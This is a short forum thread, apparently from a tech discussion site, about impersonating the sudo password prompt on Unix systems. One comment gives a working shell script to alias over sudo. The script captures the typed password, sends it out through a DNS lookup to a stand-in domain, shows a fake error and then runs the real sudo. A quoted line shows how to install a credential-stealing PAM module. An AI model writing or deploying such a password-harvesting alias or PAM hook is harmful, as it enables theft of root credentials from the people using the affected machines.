I think you don't hear about the sudo variant because it's almost never used (though I'll be honest, I never considered impersonating sudo, going to have to add that to my bag of red team tricks). I think impersonating UI's is pretty common though, tons of ads/malware made themselves to look like windows alerts.

There's little reason to actually impersonate sudo, IMO. Just add a malicious PAM module[1] and log the credentials entered for the real sudo (as well as password-based logon, etc.).

You can't insert a pam module without root? But you can alias sudo to a script that does something like:

  echo "enter sudo pw:"
  read pw
  # log ip and query on ns for
  # example.com
  host "$USER.$pw.example.com" &
  echo "Invalid pw"
  sudo $*

Ed: from the github link: > Usage: add "auth required pam_steal.so" into /etc/pam.d/common-auth

If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...
